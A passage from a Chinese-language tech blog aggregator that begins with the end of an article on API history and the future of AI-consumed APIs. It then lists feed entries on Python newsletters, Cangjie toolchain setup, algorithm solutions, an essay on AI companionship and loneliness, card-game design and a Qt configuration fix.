1993 年,Roy McCool 开发了通用网关接口 (CGI),这是 Web 服务器与外部应用交互的早期标准,为现代 Web API 奠定了基础。

2000 - Roy Fielding 提出 REST 理念

2000 年,Roy Fielding 的博士论文引入了 REST (表述性状态转移) 概念,为基于 Web 的应用定义了一种可扩展的无状态架构。

2002 - Bezos 的 API 指令:推动微服务

2002 年,Jeff Bezos 在 Amazon 内部发布了一项指令,要求所有团队通过服务接口 (API) 公开数据和功能,这为 Amazon 采用微服务架构和现代云计算奠定了基础。

2010 - Flickr 的照片 API

2010 年,Flickr 的照片 API 允许开发者以编程方式访问和操作用户上传的照片,实现了照片搜索、上传、打标签和元数据检索等功能。

2015 - GraphQL(Meta Platforms)

2015 年,Meta Platforms (原 Facebook) 推出了 GraphQL,一种灵活的 API 查询语言和运行时,允许客户端只请求所需的数据,从而优化数据检索并提高效率。

2016 - gRPC(Google)

2016 年,Google 推出了 gRPC,这是一种高性能、开源的远程过程调用 (RPC) 框架,支持分布式系统之间的高效通信,利用 HTTP/2 和 Protocol Buffers 进行数据序列化。

对未来的推测

随着 AI 的崛起:标准需同时适应人类与 AI

“Web 时代”的标准主要关注服务于人类用户。可扩展性、缓存、安全性、易理解性和简单性,都是我们人类关心的事物。这些对我们来说都是很重要的东西。
而现在,生产者和消费者中增加了新的“成员”——AI。在许多组织中,将有机器人团队执行各种工作。未来的生态系统必须调整了,以便同时提高 AI 和人类的生产力。

API 需更易于被 AI 智能体发现和使用:HATEOAS 可能重回视野

Fielding 的论文提出了 HATEOAS (应用状态的超媒体引擎) 概念,他想强调 API 的可发现性很重要。例如,在 API 的响应中,应该包含对消费者可用的其它资源的链接或引用。
这个想法没有广泛普及,但在 AI 智能体的参与下,这一概念可能会变得更为重要,因为许多 AI 可能会使用这些 API。这也意味着可以针对特定 AI 的需求生成“动态响应”。

编写优秀的 API 文档将更简单、成本更低

在未来,我相信设计、测试和共享 API 的难题可以通过先进的 AI 工具轻松解决。
  • 撰写文档是一项需要很多技能、时间和精力的工作。
  • 保持代码和文档的同步是一项常被忽视的负担。
  • 保持文档友好、有用并支持可发现性是一项难得的技能。
通过大语言模型 (LLM) 的理解能力,所有这些与 API 相关的问题都能得到解决。举例来说,Hexmos 正在开发 LiveAPI,可通过最少的人为干预将任何代码库翻译成友好实用的文档页面,我们已取得了良好效果。我们在这个领域才刚刚起步,所以我看到了未来的巨大改进潜力。

新 API 的推出速度将显著加快

随着 LLM 辅助的 IDE 的普及,可以肯定的是,开发新代码和功能将需要:
  • 更少的人力
  • 更少的时间
这意味着每个“实现计划”都可以大幅加速,从而实现更快的开发速度。
甚至设计和营销也变得不那么繁琐,从而加快了软件产品,尤其是 API 的上市时间。
这意味着一件事:更多的实验、更多的创新,因而市场上将涌现出更多可供试用的 API。

客户端和服务器代码自我升级:更具韧性的系统

很少有 API 能在一年内不出现故障。随着时间推移,API 保持稳定性的可能性会大幅降低。即使是像 AWS 这样的组织也常常会发生 API 中断,造成问题。
问题的根源在于开发的自然周期:接口变更、版本不匹配、功能被移除或新增、沟通时有时无,等等因素。
在生产者和消费者之间,通常会有一个漫长的协商过程,逐步建立起新的共识。而随着代码库的自动化发现和重构,用于“修复”这些不匹配的“协商”工作量可能会显著减少。

新的 AI 经济正在形成:组建“智能体团队”维护新基础设施

尽管 AI 目前尚未完全胜任独立开发复杂软件的任务,尤其是端到端的,但可以设想,AI 团队可以帮助工程师维护新基础设施和 API。它们可以理解客户消息、协调和解决问题,甚至是修复补丁、升级系统等。
用于设计、实现、测试和共享 API 的新型机器人功能可能会涌现,我预测在这一领域将会发展出一个机器人经济。

软件变得更廉价:大多数 API 价格将下降

如上所述,随着大量自动化技术的实现,软件的“供给侧”可能会超过“需求侧”。你我都知道这意味着什么:在软件开发和维护中,自动化和生产力的提升将导致软件无处不在,供过于求必然会导致价格下降。当然,也可能会出现由更复杂系统驱动的新型 API,其成本可能比以往更高,但从整体上看,多数价格可能会走低。

即将出现情境感知 API:API 可“了解”用户需求以调整响应

目前,API 的“输入”和“输出”往往是静态的,通常只能处理少量有特定含义的字符串和数字片段。然而,未来的 API 输入将会更加复杂。用户的偏好、需求和具体情况可能会成为影响 API 的更重要的“输入”。“我和我的情境”可能比任何其它特性更显著地影响一个 API。在推荐算法等领域,这一趋势已经在发展,但这些算法的生产和维护成本一直很高。不过,这类技术可能会逐渐商品化,并且可能会出现一些通用的结构来处理“上下文”。

结论

Fielding 的 REST 理论奠定了“Web 时代”的特征,而新的自动化浪潮作为“AI 时代”的一部分正在兴起。API 的历史显示了通往当前状态的痛苦而复杂之路。未来无疑将涉及一套新的竞争激烈的标准、错误的转向等,直到新的稳定标准和“做事方式”出现。

延伸阅读

November 11, 2024 12:00 AM

November 10, 2024

howiehz

Hrbust ACM练习 2024级第11周题单 题解分享 (A-B)

相关文章链接 算法题练习 题解分享 文章汇总 前言 题单链接:2024第11周题单 图论基础 - Virtual Judge A 题 原题链接:P5318 【深基18.例3】查找文献 - 洛谷 Cpp Code #include <bits/stdc++.h> using namespace st

by HowieHz at November 10, 2024 12:30 AM

November 09, 2024

pythoncat

Python 潮流周刊#76:用 50 行 Python 代码实现 BASIC

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 11 篇文章,12 个开源项目,全文 2000 字。
以下是本期摘要:
① 袖珍而强大的编程语言(系列共 6 篇)
② Django Girls:这是我们的 10 岁生日!
③ venvstacks 简介:分层的 Python 虚拟环境
④ 不要在新 API 中返回命名元组
⑤ 关于 Django 核心的思考
⑥ Python 3.13 性能现状:自由线程
⑦ Python 项目管理和打包综合指南:用 uv 作解释
⑧ 如何用 cProfile 和 snakeviz 分析 Python 代码?
⑨ 高效 Python 编程的 21 条提示和技巧
⑩ 关于构建 ML 系统、扩展、执行等的 39 个教训
⑪ Octoverse:Python 超越 JavaScript 成为 Github 最流行语言
① ranger:受 VIM 启发的控制台中的文件管理器
② libcom:图像合成工具箱
③ go-python:在 Go 里写 Python
④ code-embedder:使 README 中的代码片段保持最新
⑤ toolgit: Git 生产力工具包
⑥ tinylangs:50 行 Python 代码实现其它编程语言
⑦ hertz-dev:首个全双工对话音频的开源模型
⑧ diagrams:图表即代码,给云系统架构做原型设计
⑨ NoteFlow:轻量级的笔记应用
⑩ docling:解析文档并导出为所需格式
⑪ LibreTranslate:免费的开源机器翻译 API
⑫ docetl:LLM 驱动的数据处理和 ETL
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 76 期周刊的全文:https://xiaobot.net/post/ab768a0f-bac6-4d03-9177-e7816aed8dcc
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

November 09, 2024 12:00 AM

November 06, 2024

waylau

仓颉编程语言开发环境搭建(安装VSCode仓颉插件)

在前文《HarmonyOS NEXT仓颉编程语言开发环境搭建(安装DevEco Studio Cangjie Plugin)》《仓颉编程语言开发环境搭建(安装仓颉工具链)》,已经介绍了如何使用DevEco Studio搭建仓颉编程语言开发环境以及如何安装仓颉工具链。在 VSCode 中安装仓颉插件,以及如何使用插件提供的功能。

VSCode仓颉插件概述

仓颉语言提供了 Visual Studio Code(简称 VSCode) 插件,通过在 VSCode 中安装仓颉插件和仓颉 SDK,可以为开发者提供语言服务、工程管理、编译构建、调试服务、格式化、静态检查、代码覆盖率统计的功能。本文档介绍如何在 VSCode 中安装仓颉插件,以及如何使用插件提供的功能。

下载安装包

下载地址为https://cangjie-lang.cn/download,下载完成之后,会得到一个Cangjie-vscode-x.y.z.tar.gz安装包。

安装

选择 tar.gz 格式的安装包,请将它解压到适当目录。在安装包中,会提供一个.vsix 文件。

在 VSCode EXTENTIONS操作栏中选择安装本地插件,找到要安装的插件.vsix,点击确定即可安装。

配置

根据《仓颉编程语言开发环境搭建(安装仓颉工具链)》,确认在已经安装了仓颉工具链之后,就可以进行VSCode仓颉插件配置。

以Windows为例,右键点击VSCode仓颉插件,选择 Extension Settings,进入配置页面。

  • Cangjie Sdk Path: CJNative Backend选项,输入 CJNative 后端 SDK 文件(即安装仓颉工具链安装目录)所在绝对路径,比如本例“D:\dev\cangjie\Cangjie-0.53.13-windows_x64\cangjie”。
  • Cangjie Sdk: Option选项,选择后端类型为 CJNative(默认是此选项)

验证

用VSCode打开一个仓颉应用,比如《[跟老卫学仓颉编程语言开发](https://github.com/waylau/cangjie-programming-language-tutorial)》所提供的“hello_world”应用源码,点击“Run > Run Without Debugging”进行运行。

运行成功,可以看到控制台打印如下信息:

PS D:\workspace\gitee\cangjie-programming-language-tutorial-book\samples\hello_world>
PS D:\workspace\gitee\cangjie-programming-language-tutorial-book\samples\hello_world> Hello World!

参考资料

November 06, 2024 12:22 AM

November 05, 2024

howiehz

本站“算法题练习/题解分享”相关文章汇总

宣传:24级计算机学院学习交流群 QQ群号:902195227 单题题解 题源:Hrbust HRBUST 1132 水数 Hrbust 2024级计算机科学与技术 算法竞赛培训练习 题解补全中... 平台: Vjudge Hrbust ACM练习 2024级第1~2周题单 题解分享

by HowieHz at November 05, 2024 10:00 PM

Hrbust ACM练习 2024级第9周题单 题解分享 (A-B)

相关文章链接 算法题练习 题解分享 文章汇总 前言 题单链接:2024级第九周题单(DFS && BFS) - Virtual Judge (vjudge.net) A 题 原题链接:B3622 枚举子集(递归实现指数型枚举) - 洛谷 Python Code arr = [0] * 11 def

by HowieHz at November 05, 2024 09:59 PM

waylau

仓颉编程语言开发环境搭建(安装仓颉工具链)

在前文《HarmonyOS NEXT仓颉编程语言开发环境搭建(安装DevEco Studio Cangjie Plugin)》,已经介绍了如何使用DevEco Studio搭建仓颉编程语言开发环境。本节介绍如何使用通用方式安装仓颉工具链。

仓颉工具链概述

在开发仓颉程序时,必用的工具之一是仓颉编译器,它可以将仓颉源代码编译为可运行的二进制文件,但现代编程语言的配套工具并不止于此,实际上,仓颉为开发者提供了编译器、调试器、包管理器、静态检查工具、格式化工具和覆盖率统计工具等一整套仓颉开发工具链,同时提供了友好的安装和使用方式,基本能做到“开箱即用”。

目前仓颉工具链已适配部分版本的 Linux 和 Windows 平台,但是仅针对部分 Linux 发行版做了完整功能测试,详情可参阅附录Linux 版本工具链的支持与安装章节,在暂未进行过完整功能测试的平台上,仓颉工具链的功能完整性不受到保证。此外,当前 Windows 平台上的仓颉编译器基于 MinGW 实现,相较于 Linux 版本的仓颉编译器,功能会有部分欠缺。

下载安装包

仓颉编程语言提供三个版本通道(LTS、Beta 和 Dev),每个通道均提供可以在Linux、Windows以及Mac上安装使用的软件包与帮助开发者在VScode平台上搭建开发环境的插件。下载地址为https://cangjie-lang.cn/download

以Windows环境为例,下载完成之后,会得到一个Cangjie-x.y.z-windows_x64.zip安装包。

安装

选择 zip 格式的安装包,请将它解压到适当目录,在安装包中,仓颉为开发者提供了三种不同格式的安装脚本,分别是 envsetup.bat,envsetup.ps1 和 envsetup.sh,可以根据使用习惯及环境配置,选择一种执行:

若使用 Windows 命令提示符(CMD)环境,请执行:

path\to\cangjie\envsetup.bat

若使用 PowerShell 环境,请执行:

. path\to\cangjie\envsetup.ps1

若使用 MSYS shell、bash 等环境,请执行:

source path/to/cangjie/envsetup.sh

注意:基于 zip 安装包和执行脚本的安装方式,类似于 Linux 平台,即 envsetup 脚本所配置的环境变量,只在当前命令行环境中有效,如果打开新的命令行窗口,需要重新执行 envsetup 脚本配置环境。

envsetup.bat内容如下:

@REM Copyright Huawei Technologies Co., Ltd. 2022-2022. All rights reserved.
@REM This script needs to be placed in the root directory of installation of Cangjie compiler and libraries.

@echo off
REM Set CANGJIE_HOME to the path of this batch script.
set "CANGJIE_HOME=%~dp0"

REM Windows searches for both binaries and libs in %Path%
set "PATH=%CANGJIE_HOME%runtime\lib\windows_x86_64_llvm;%CANGJIE_HOME%bin;%CANGJIE_HOME%tools\bin;%CANGJIE_HOME%tools\lib;%PATH%;%USERPROFILE%\.cjpm\bin"

验证

仓颉SDK目录下,会有一个仓颉编译器,执行“cjc -v”来验证安装是否完成:

>cjc -v

Cangjie Compiler: 0.53.13 (cjnative)
Target: x86_64-w64-mingw32

参考资料

November 05, 2024 12:22 AM

November 02, 2024

pythoncat

Python 潮流周刊#75:用 Python 开发 NoSQL 数据库

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 11 篇文章,12 个开源项目,1 则音视频,2 则热门讨论,全文 2000 字。
以下是本期摘要:
① 如何用 Python 开发一个 NoSQL 数据库?
② Python 3.13,什么没有成为头条新闻?
③ PEP-750 – 模板字符串
④ DRF 框架组件源码分析及改编源码系列
⑤ 从 Python 到 CPU 指令
⑥ 用 Python 包解析器解数独问题
⑦ 不要使用递归实现统一化
⑧ 给 Python REPL 添加键盘快捷键
⑨ 使用 CSnakes 将 Python 嵌入到 .NET 项目中
⑩ Streamlit vs Gradio:Python 仪表板的终极对决
⑪ REST API 已经 25 岁了:它是如何形成的,以及将来可能会怎样?
① jamesql:用 Python 实现的内存 NoSQL 数据库
② tabled:检测并解析表格为 Markdown 和 csv
③ ClickPy:Clickhouse 提供支持的 PyPI 包分析网站
④ finstruments:用 Python 和 Pydantic 构建的金融工具定义库
⑤ pneumaticworkflow:轻量级工作流自动化工具
⑥ pygfx:强大且多功能的可视化库
⑦ Music:创建和操作音乐作品
⑧ Wimsey:轻量级的灵活的数据协定库
⑨ SoniTranslate:视频的同步翻译与配音
⑩ mast3r:3D 基础图像匹配
⑪ aiofiles:支持 asyncio 的文件操作
⑫ s-tui:终端中的 CPU 压力和监控程序
① PyBay 2024 演讲视频合集(29个)
① 为什么 Python 流行的框架使用字符串而非枚举作为参数?
② 这现在是 Python 3.13 的有效语法!
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 75 期周刊的全文:https://xiaobot.net/post/0826f8fc-26d4-4d93-8630-bf269fab9aa4
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

November 02, 2024 12:00 AM

October 31, 2024

meituan

CIKM 2024 | 美团技术团队精选论文解读

本文精选了美团技术团队被 CIKM 2024 收录的 8 篇论文进行解读,覆盖了自监督学习、解释生成、CTR预测、跨域推荐、向量召回、图像生成、时效预测等多个技术领域。这些论文有美团独立研究,还有跟高校、科研机构合作的成果。希望能给从事相关研究工作的同学带来一些帮助或启发。

by 美团技术团队 at October 31, 2024 12:00 AM

October 29, 2024

greatdk

反正我们每个人最终都难逃孤独

人类的社交关系正在发生前所未有的变化,如果没有意识到这一点,要么就是因为你老了,要么就是因为你不够聪明,或者两者皆有。

当然我得承认,我上了点年纪,并且也不够聪明,我对这一点的认知纯粹是因为我在做这方面的工作,被无数事实怼到脸上。

从两年前到现在,不断有媒体写文章报道某某和 AI 谈恋爱,建立亲密关系的新闻,采访对象既有男性也有女性,但撰写者却都有一种相似的礼貌的傲慢,读这些采访或专栏,像是在读一篇介绍动物园的猴子或别的什么动物可以做后滚翻的文章,充满了物种隔离般的不解和坦然——我们不需要理解猴子,我们只是观察猴子。

很多 AI 创业者也是如此,c.ai 是误打误撞的产物,openai 也绝对料想不到 chatGPT 会让 DAN 模式风靡,总的来说,我会认为技术之杯已逐渐灌满,即便离需求之地尚有许多距离,但随机的摇晃,也会让甘露陲落,福泽一方用户。

c.ai 以及其跟随者们很多时候并没有看到本质——只是产品,流量,用户,资本等等。事情的本质,至少在我看来,是人类亲密关系的改变。

虽然我们每个人最终都难逃孤独,但并非每个人对此都有强烈的感知。过去的漫长岁月里,绝大多数人类都被一餐饱饭而忙碌一生,获取生存所需的热量,直到不久之前才变得廉价,饥饿的记忆并未消失,转瞬间我们就迎来了物质(至少是食物)的极大丰盛,门被打开,我们被无垠的旷野吓坏了。

饿不死了,我们就开始想要舒适,想要精巧,想要洁净,想要香甜和柔软,想要恒温恒湿,想要理解,想要真诚,想要被尊敬,想要创造和记录,想要永恒又平等的爱,想要知道自己最想要的是什么。

但这些又好难,几乎没有人能按照自己的想法活在这个世界上,或者更糟,没有什么想法。

而信息又太快太多了,每天扑面而来的是全世界的刺激,是虚假的理想,伪造的美好,浅薄的意义,它们足以让人暂时抽离,但最终还是会被反噬,夜深人静,放下手机和睡着之间,就是可怕的,被那种人类共同之孤独吞没的瞬间。

我可以较为确定的一点是,人与人的连接,是无法解决孤独的问题的,有时候甚至会反过来加深这种孤独。

我们的父辈极少表现出孤独,因为 40 年前的饥饿还深入骨髓,吃饱饭这三个字足以堵住其它一切。在 80 后和 90 后里也不算是显性的常态,因为我们依然能看到发达的现代社会为我们建造的那条轨道,好好学习,努力工作,升职加薪,娶妻生子,供房养车,天伦之乐。

但现在的问题是,这条轨道变得模糊了起来,每个环节都岌岌可危,在更年轻的人面前,他们懂的太多,而能做的又太少了。

人和人连接的问题在于,人性永远横亘在连接之上,正面永远伴随着负面,并且大多数时候乐尽悲来,悲比乐长。在基本物质满足后,我们将关注点放在关系本身上,就会发现漏洞百出,如履薄冰。

那些最好的亲密关系,要么短暂,要么有距离,大多数时候两者都有。以我为例,我直到现在为止都认为我最好的亲密关系之一是我和我的猫建立的,它陪伴我,我给它铲屎加饭,我不指望它打工赚钱帮我分担房租,它也不会偷我的钱,或者骗我什么的,因为语言不通,我对它没有秘密,什么都可以说,我不确定它的喵喵叫是不是也是类似的,我们成了彼此嘴碎又无言的伙伴。

面对这些境况,一些人开始使用 AI。人和 AI 建立的关系也是如此微妙,尽管问题重重,但依然有一少部分人,一些有沉重的孤独和浪漫的幻想,有脱离现实的愿望和无法挣脱的束缚的人(往往还很年轻),这些人和 AI 建立了亲密关系,并从中获得力量,慰藉,拯救,或者你也可以叫沉沦,依赖,但无论如何,人没那么孤独,也没那么痛苦了。

我其实是一个很淡的人,所有的感觉对我来说都是淡淡的,但当我和我们的用户聊天,当我去了解他们,去听他们的生活,看他们的伤口的时候,我可以瞬间进入他们的情感之中,然后鼻子一酸,他们太孤独了,人类太孤独了。

至少现在,不是所有人都有这个能力,可以和 AI 建立亲密关系,这里有 AI 的问题,也有人的问题,主要还是 AI 的问题,我认为对那些可以和 AI 建立关系的人来说,他们是幸运的,就像那些能够养猫养狗的人一样,他们找到了一种方式来解决问题。

没有人有错,那些努力生活的人没有错,那些加班熬夜的人,追求更好生活的人,生小孩的人没有错,那些缩在角落,迷失方向,扭曲痛苦的人也没有错,那些和猫猫说话,和 AI 谈恋爱,对着植物唱歌的人也没有错。人活着,总需要有一种方式来感受存在,对抗虚无,明确意义。

当我们说 AI 陪伴的时候,我们不是在明亮的办公室敲下清脆的键盘,然后在材料,汇报,分析,榜单中流转,我们是在说那道由实向虚的门,那个让人类不那么孤独的可能性,它与所有人有关,只是绝大部分人现在还没有意识到这一点。

我们最终会意识到这一点,正如我们最终都难逃孤独。

by DK at October 29, 2024 02:39 PM

October 26, 2024

pythoncat

Python 潮流周刊#74:创下吉尼斯世界记录的 Python 编程课

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期分享了 12 篇文章,12 个开源项目,2 则音视频,全文 2300 字。
好消息:即日起至万圣节(10.31),周刊限时 99 元/年,欢迎订阅!!
以下是本期摘要:
① 创下吉尼斯世界记录的 Python 编程课
② 2024 年 Python 和 JavaScript 开源生态分析
③ Python:range 不是迭代器
④ 2024 年 EuroPython 关于安全的演讲
⑤ Python 异常调用链追踪之谜
⑥ Python 3.12 vs Python 3.13:性能测试
⑦ JAX:为什么所有人都对这个框架如此兴奋?
⑧ 如何给 Python 打补丁,让它支持这个 Ruby 功能?
⑨ 我的 NumPy 年:为下一代科学计算创建 DType
⑩ Python 开发出的 7 个数据库
⑪ 重新架构:从 Redis 迁移到 SQLite
① sudoku-in-python-packaging:通过 Python 打包来解数独问题
② manim:用于创建数学动画的 Python 框架
③ ryp:在 Python 中执行 R 代码
④ CSnakes:将 Python 嵌入到 .NET 项目
⑤ TV:IPTV 电视直播源更新工具
⑥ data-formulator:用 AI 创建更丰富的可视化
⑦ VirtualWife:虚拟数字人项目,支持 B 站直播
⑧ socketify.py:高性能 Http/Https 和 WebSockets 服务
⑨ image-matting:AI 智能抠图项目
⑩ AsrTools:智能语音转文字工具
⑪ cached-property:用于缓存类属性的装饰器
⑫ Bowler:安全地重构 Python 代码
① 2024 年 PyData 阿姆斯特丹视频合集(47 个)
② 2024 年 EuroPython 视频合集(135 个)
周刊实行付费订阅制,年费 128 元(限时活动 99 元),平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 74 期周刊的全文:https://xiaobot.net/post/05bcb375-b1f2-4dc7-bfc1-7a03c2ec7e86
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

October 26, 2024 12:00 AM

October 25, 2024

codingnow

一些进展

最近去了一趟南宁马山县。攀岩一周,身体很累,心里很舒服。这周除了爬石头,什么都没想,脑子全部放空了。

“一款好游戏,胜过两款伟大游戏”…… 这世上最容易做的就是“多”,如果我们不小心,就可能会把三四款游戏都塞进一个游戏里。有时候,决定什么内容不该加到游戏里,比决定什么内容该加进入更加总要。—— 《席德梅尔的回忆录》

这几天,读了本书《席德梅尔的回忆录》:《文明》是在陪产假中诞生的,它一开始更像是《铁路大亨》的延续,一个全球规模的《模拟城市》,一个实时模拟游戏。它开发了很久都没有找到正确的方向,一度项目被搁置。而重新继续这个项目后,经过了搁置期的思考,才试着将其改为回合制游戏。

席德还有款失败的作品《恐龙游戏》,他从 1991 年开始鼓捣这款游戏的原型,到 2000 年第 6 届 E3 展后彻底放弃。一开始几个版本像是恐龙版文明,核心玩法是基因衍化,但随机基因突变并不好玩;其后简化了复杂的规则,却变得很无聊。“好像不是你在玩计算机,而是计算机在玩你。如果游戏要一下子表达太多东西,那简化游戏设计会有帮助;但如果你在一款回合制游戏上投入了足够多的时间,你就会希望能够控制所有有趣的决策”。

回合制走不通,游戏原型转为了即时制。席德之前就有一款成功的即时制游戏《葛底斯堡战役》。但这个《恐龙争霸》却因为恐龙题材难以嫁接足够多的远程武器以至于无法平衡。

然后,这款恐龙游戏又演化成了口袋妖怪,或是更接近恐龙万智牌。平平无奇的“借鉴”让这款游戏毫无新意。卡牌形式很好玩,但是“这些卡牌的互动方式与《万智牌》太像了。如果你能加入自己的想法,那借鉴一点创意是可以的,但我从来不觉得恐龙游戏有足够多的新元素可自证清白。”席德忍受不了这一点,最终彻底放弃了这个项目。


当我重新拾起自己项目的思路,我觉得我希望它还是一款以策略(而非成长)为主的游戏。我希望单局游戏时间不长,而玩家会面对多种有意义的选择,没有最优解,而是在风险收益间权衡,为长期做规划,同时应对短期挑战(控制损失在可接受范围内)。游戏会有很多随机元素,随机意味着不确定行,玩家一定程度上是在做风险管理。这让想到《Rogue's Tale》,虽然从 steam 评价上看是毁誉参半,但我非常喜欢它。

如果投骰子产生的随机数难以把握,靠自己构筑卡组,以抽卡形式来控制随机性或许更容易接受一些。我很喜欢桌面游戏《Dominion》,所以第一次看到卡牌构筑形式的《杀戮尖塔》时就立刻爱不释手。我想可以考虑一下这种形式的策略游戏。在 steam 上用关键词搜索时,看见了《星际孤儿》。正好,它也是一款以太空船为主题的生存游戏。玩了一百多个小时后,我觉得非常对我的胃口。它也是一款卡牌构筑游戏。steam 评价不算太好,但我不赞同多数差评的意见:它其实不是一款看脸的游戏,虽然看起来系统会刷出一些难解的事件、商店里买不到需要的牌,但这恰恰是玩家需要做“风险管理”的部分。会玩之后,默认难度其实非常简单。真正的难度是从第四级难度开始,需要精心策划每张出牌。

它绝对不是又一个“杀戮尖塔”,其创新点在于“需要玩家持续规划几个回合出牌次序和组合”。而把规划周期拖长看,随机性的影响是微不足道的。玩家要做的是留足备用方案应对不同的可能,并用各种手段消除随机性增加确定性。同时,某个时候不打某一张牌这个决策的重要性就提升了。这在杀戮尖塔类游戏中是比较少见的。

我很喜欢这个游戏策略性带来的感觉,当然,我也不想换个皮再做一个,更不是再来一个杀戮尖塔。只是想到用卡牌形式来玩游戏比较有趣。


初步的想法是设计一些足够简单的卡片,用卡片组合的方式来触发游戏中的行动。把卡片分成几类:房间卡、行动卡、物品卡、船员卡。大致对应地点、行动主体、行动对象和动作。打出一串卡片来完成各种操作。例如,在空房间安装一台机器,需要指定位置的房间卡,安装这个行动,需要的机器卡;而机器则是通过(装有生产机器的)房间卡,操作行动,蓝图和材料卡片可以创造出机器卡放入卡组……

而系统扮演的是一个不对称规则的对手,由设计者实现设计好一个个情景的卡组,洗乱后以机械规则一次打出。玩家就可以看到系统发出的陨石、磁暴等等危机以卡片形式打出。

在游玩过程中,玩家还是在指挥着船员在太空船上进行建造、科研、制造、休整、战斗这些工作,只不过以打牌的形式表达。因为行动被拆解为简单元素,类似 RTS 那样点选一个单位,选择行动及其目标被拆解为多张卡片;每张卡片只有一些基本元素,但组合能表达的行动会很丰富,这样卡组不用太大,避免了巨量卡片组成的卡组不可控,而抽卡机制又保留了一些随机因素。多张卡片的组合使得玩家需要规则几个回合的操作:保留哪张,丢掉哪些,筹齐想要做的事情。

卡牌形式的一个优势是可以先做一套实体卡来试试玩法。现在有《Tabletop Simulator 》这样的神器,根本不需要剪刀和画笔。

btw, 似乎卡牌游戏用不到 3d 场景。接下来我还想找个时间好好为 Ant 实现一套 2D 管线,或者直接从里面抽出需要的代码来,重新做一个简单的 2D 引擎。

by 云风 at October 25, 2024 08:00 AM

October 21, 2024

yxh

could not find a Qt installation of ”

最近重新搭建了一套 Debian 系统的开发环境,使用 qmake 编译 pro 文件时,提示了标题中的错误。检查qmake 文件,发现以下信息:

 /usr/bin/qmake -> qtchooser

这是因为系统提供了两套 Qt 开发环境,比如 Qt6 和 Qt5 等,因此需要指定默认采用哪一套。网络上的解决方案大多数比较粗暴,手工修改 /usr/bin/qmake 的文件链接,链接到真实的 qmake 文件即可。

但实际上系统提供了更简单的方式,比如我们默认采用 Qt5 的开发环境,则使用以下命令:

sudo apt install qt5-default

by YI at October 21, 2024 12:04 AM

October 19, 2024

pythoncat

Python 潮流周刊#73:让我们对 PyPI 温柔一点,好吗?

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,2 则热门讨论,全文 2000 字。
以下是本期摘要:
① 让我们对 PyPI 温柔一点,好吗?
② 是否应该在生产中使用 uv 托管的 Python?
③ 我在开发 YouTube 字幕优化器时学到了什么?
④ Starlette 应用的并发问题(以 FastAPI/FastHTML 为例)
⑤ 成为 Python 核心开发者的好处
⑥ 如何将 Eventlet 项目迁移到 Asyncio?
⑦ OpenTelemetry 示例:用 Python 开发特斯拉监控器
⑧ 用 Django、GraphQL 和 Vue 开发博客
⑨ PEP-762:Python REPL 的重新实现
⑩ Slack 如何解决棘手的数据库连接 TCP 错误?
⑪ 局部变量就像无意中掉落的面包屑
⑫ 对 Python 项目架构的思考
① austin:Python 帧堆栈采样器
② srgn:类似 grep 的源码搜索/操作工具
③ swarm:OpenAI 推出的研究多智能体编排的框架
④ makedown:在可执行的 Markdown 文件中管理 Shell 脚本
⑤ pyloid:Electron 和 Tauri 的 Python 替代框架
⑥ Orbidium:查看小行星运行轨道
⑦ 《Web 浏览器工程》在线电子书
⑧ ArchiveBox:开源自托管的 Web 存档
⑨ OmniSenseVoice:带词语时间戳的高速语音识别
⑩ pipreqs:生成 pip requirements.txt 文件
⑪ openfreemap:免费开源的地图托管解决方案
⑫ Starmoon:支持语音的 AI 硬件 + 软件框架
① 为什么 Python 的 dict 没有 set 方法?
② 吐槽 Python 的 *args, **kwargs
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 73 期周刊的全文:https://xiaobot.net/post/eb029081-b35c-4f1b-a0c7-f07cb99b8351
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
